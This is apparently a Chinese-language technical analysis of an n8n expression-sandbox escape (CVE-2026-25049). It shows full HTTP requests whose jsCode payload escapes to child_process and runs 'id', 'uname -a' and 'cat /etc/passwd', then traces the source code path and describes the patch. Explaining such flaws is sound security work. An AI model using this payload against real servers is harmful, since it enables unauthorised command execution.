漏洞描述

N8N 是一个开源的工作流程自动化平台。在1.123.17和2.5.2版本之前,拥有创建或修改工作流权限的认证用户可以滥用工作流参数中的精心设计表达式,在运行n8n的主机上触发非预期的系统命令执行。这个问题已在1.123.17和2.5.2版本中得到修补

漏洞影响

评分:9.4

版本:< 1.123.17; 2.x系列版本 < 2.5.2

漏洞分析

恶意请求构造

POST /rest/workflows HTTP/1.1
Host: vulnerable-n8n.example.com:5678
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Content-Type: application/json
Content-Length: 847

{
  "name": "Data Processing Workflow",
  "nodes": [{
    "name": "Execute System Command",
    "type": "n8n-nodes-base.code",
    "position": [250, 300],
    "parameters": {
      "jsCode": "={{ (() => {\n  const {constructor} = $input;\n  const F = constructor.constructor;\n  const proc = F('return process')();\n  const cp = proc.mainModule.require('child_process');\n  return cp.execSync('id; uname -a; cat /etc/passwd | head -5').toString();\n})() }}",
      "mode": "runOnceForAllItems"
    }
  }]
}

后端触发链

创建我们的恶意工作流

packages\cli\src\server.ts

激活所有控制器

​

路由到 WorkflowsController.create()

const newWorkflow = new WorkflowEntity();

		Object.assign(newWorkflow, req.body);

创建实体对象,并复制我们的恶意表达式

​

await validateEntity(newWorkflow);

验证实体结构,但是不检查表达式

​

WorkflowHelpers.addNodeIds(newWorkflow);

给我们的恶意节点生成ID

​

const savedWorkflow = await dbManager.transaction(async (transactionManager) => {
			const { projectId, parentFolderId } = req.body;
			project =
				projectId === undefined
					? await this.projectRepository.getPersonalProjectForUser(req.user.id, transactionManager)
					: await this.projectService.getProjectWithScope(
							req.user,
							projectId,
							['workflow:create'],
							transactionManager,
						);

			if (typeof projectId === 'string' && project === null) {
				throw new BadRequestError(
					"You don't have the permissions to save the workflow in this project.",
				);
			}

			// Safe guard in case the personal project does not exist for whatever reason.
			if (project === null) {
				throw new UnexpectedError('No personal project found');
			}

			const workflow = await transactionManager.save<WorkflowEntity>(newWorkflow);

保存到数据库

​

最后返回成功响应

​

运行工作流

POST /rest/workflows/abc123-def456/run HTTP/1.1
Host: vulnerable-n8n.example.com:5678
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Content-Type: application/json
Content-Length: 512

{
  "workflowData": {
    "id": "abc123-def456",
    "nodes": [{
      "id": "malicious-node-001",
      "name": "Execute System Command",
      "type": "n8n-nodes-base.code",
      "parameters": {
        "jsCode": "={{ (() => {\n  const {constructor} = $input;\n  const F = constructor.constructor;\n  const proc = F('return process')();\n  const cp = proc.mainModule.require('child_process');\n  return cp.execSync('id').toString();\n})() }}"
      }
    }]
  }
}

packages\cli\src\workflows\workflows.controller.ts

匹配

abc123-def456/run
return await this.workflowExecutionService.executeManually(
			req.body,
			req.user,
			req.headers['push-ref'],
		);

在这里执行工作流

​

packages\cli\src\workflows\workflow-execution.service.ts

创建工作流运行器并运行,然后返回结果

​

执行我们的恶意表达式执行

packages\nodes-base\nodes\Code\Code.node.ts

const code = this.getNodeParameter(codeParameterName, index) as string;

getNodeParameter会对我们传入的

​

jsCode: "={{ (() => { 恶意代码 })() }}"

进行以下操作

检测到恶意代码存在{{,于是调用表达式引擎FunctionEvaluator.evaluate()

​

expr = "(() => { const {constructor} = this; ... })()"
data = 沙箱上下文对象
private getFunction(expr: string): Function {
		if (expr in this._codeCache) {
			return this._codeCache[expr];
		}
		const [code] = this.instance.getExpressionCode(expr);
		const func = new Function('E', code + ';');
		this._codeCache[expr] = func;
		return func;
	}
const fn = this.getFunction(expr);

先获取表达式代码,然后进行 AST 转换和安全检查,但被解构赋值绕过,最后使用 Function 构造函数创建函数

​

return fn.call(data, this.instance.errorHandler);

此时恶意代码被编译成的函数

​

(function() {
    // this = data (传入的沙箱上下文)
    const {constructor} = this; 
    
    const Func = constructor.constructor;
    
    const getProcess = Func('return process');
    const processObj = getProcess();
    
    const cp = processObj.mainModule.require('child_process');
    return cp.execSync('id').toString();

}).call(沙箱上下文对象, errorHandler);

首写进行解构赋值绕过检查

​

this 是沙箱上下文对象,constructor 指向 Object

​

然后获取 Function 构造函数

​

再创建逃逸函数


就可以加载 child_process 并执行命令

​

最后返回值通过 fn.call() 返回

const getSandbox = (index = 0) => {
			const code = this.getNodeParameter(codeParameterName, index) as string;

			const context = getSandboxContext.call(this, index);
			if (nodeMode === 'runOnceForAllItems') {
				context.items = context.$input.all();
			} else {
				context.item = context.$input.item;
			}

获取已经执行完的命令内容

​

const Sandbox = language === 'python' ? PythonSandbox : JavaScriptSandbox;
			const sandbox = new Sandbox(context, code, this.helpers);

创建 JavaScript 沙箱实例

​

items = (await sandbox.runCodeAllItems()) as INodeExecutionData[];

执行沙箱代码

​

这时我们的意代码从 Code.execute() 转移到了 JavaScriptSandbox

​

packages\nodes-base\nodes\Code\JavaScriptSandbox.ts

由于接收的是已经执行完了的命令内容,因此会直接返回命令内容给前端

​

此时任意RCE完成了

漏洞修复

this.instance.getExpressionCode(expr)这个调用中新增了检查解构赋值

同时扩展了运行时检查的黑名单,确保即使在AST检查有遗漏的情况下,危险属性也无法被访问

针对箭头函数绕过this绑定的问题,修复确保所有类型的函数执行上下文都被正确隔离

针对Endor Labs报告的类型混淆问题,修复了在getNodeParameter等流程中的运行时类型检查,确保攻击者无法传入非字符串值绕过检查

参考

https://www.cve.org/CVERecord?id=CVE-2026-25049

https://github.com/n8n-io/n8n/security/advisories/GHSA-v98v-ff95-f3cp

https://github.com/n8n-io/n8n/commit/7860896909b3d42993a36297f053d2b0e633235d

https://github.com/n8n-io/n8n/commit/936c06cfc1ad269a89e8ef7f8ac79c104436d54b